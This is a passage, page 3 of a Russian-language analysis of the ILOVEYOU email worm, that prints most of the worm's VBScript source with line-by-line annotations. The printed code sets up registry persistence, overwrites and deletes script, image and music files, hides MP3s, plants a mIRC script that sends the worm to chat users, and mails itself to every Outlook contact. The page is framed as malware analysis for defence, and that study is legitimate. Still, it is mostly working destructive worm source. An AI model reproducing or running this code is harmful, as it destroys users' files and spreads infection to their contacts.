Интернет – червь I LOVE YOU (LOVE LETTER FOR YOU). Принцип работы. Меры безопасности для защиты от заражения и предотвращения деструктивных действий (стр. 3 из 3)
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
При наличии файла WIN-BUGSFIX.exe в каталоге Download ( C: \ ) в реестре прописывается ключ для его запуска при загрузке Windows и стартовой страницей Microsoft Internet Explorer прописывается файл about:blank [10]end if
end sub
====================Процедура деструктивных действий================
-----------------Подпрограмма поиска на дисках ------------
sub listadrivOn Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then Производится проверка типа дисков и поиск по всем дискам
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
----------------Подпрограмма заражения файлов ------------
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path) Проверяются расширения файлов [11]
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .VBS или .VBE, то вирус записывает себя вместо них.ap.write vbscopy
ap.closeelseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then Если расширения файлов .JS ; .JSE ; .CSS ; .WSH ; .SCT ;
set ap=fso.OpenTextFile(f1.path,2,true) .HTA, то вирус также записывает себя вместо них
ap.write vbscopy и меняет расширения на .VBS
ap.closebname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path) Вирус удаляет оригинальные файлы.
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true) Если расширения файлов .JPG ; .JPE ,то вирус записывает себя вместо них и меняет расширения на .VBS
ap.write vbscopy
ap.closeset cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs") Вирус удаляет оригинальные файлы.
fso.DeleteFile(f1.path)elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs") Если расширения файлов .MP2 ; .MP3 ,то вирус создает файлы с такими же именами, но
mp3.write vbscopy расширениями .VBS
mp3.closeset att=fso.GetFile(f1.path) Вирус присваивает оригинальным файлам .MP2 или .MP3 атрибут «Hidden»
att.attributes=att.attributes+2
end ifif (eq<>folderspec) then Вирус ищет в системе программу mIRC32 ( чат )
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then и создает при ее наличии файл script.ini [12]
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
-----------Скрипт для программы mIRC32 (script.ini)--------------
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" Эта часть скрипта осуществляет рассылку всем
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" участникам чата копии вируса в виде HTM файла [13]
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec) Вирус запоминает пути к зараженным файлам
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
--------Подпрограмма создания ключа в реестре -----------
sub regcreate(regkey,regvalue)Set regedit = CreateObject("WScript.Shell") Запись ключа в реестр
regedit.RegWrite regkey,regvalue
end sub
-------------Подпрограмма чтения ключа в реестр -----------
function regget(value)Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value) Проверка записи ключа в реестр
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Thenmsg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec) Данной процедурой вирус подготавливает отправку сообщений со своей копией по электронной почте.
On Error Resume Next [14]
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
=================Процедура рассылки копий вируса по электронной почте =============
sub spreadtoemail()
On Error Resume Nextdim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI") Вирус получает доступ к адресной книге программы Outlook Express.[15]
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) thenfor ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x) Организуется цикл для рассылки по всем адресам адресной книги [16]
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)if (regad="") then
set male=out.CreateItem(0) Вирус создает тело письма с адресом отправителя, темой и
male.Recipients.Add(malead) текстом. [17]
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") Присоединяет к письму файл с телом вируса [18] 
male.Send Отсылает письмо адресатуregedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Countelse Если нет адресной книги, то письма не создаются
regedit.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\WAB\”&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub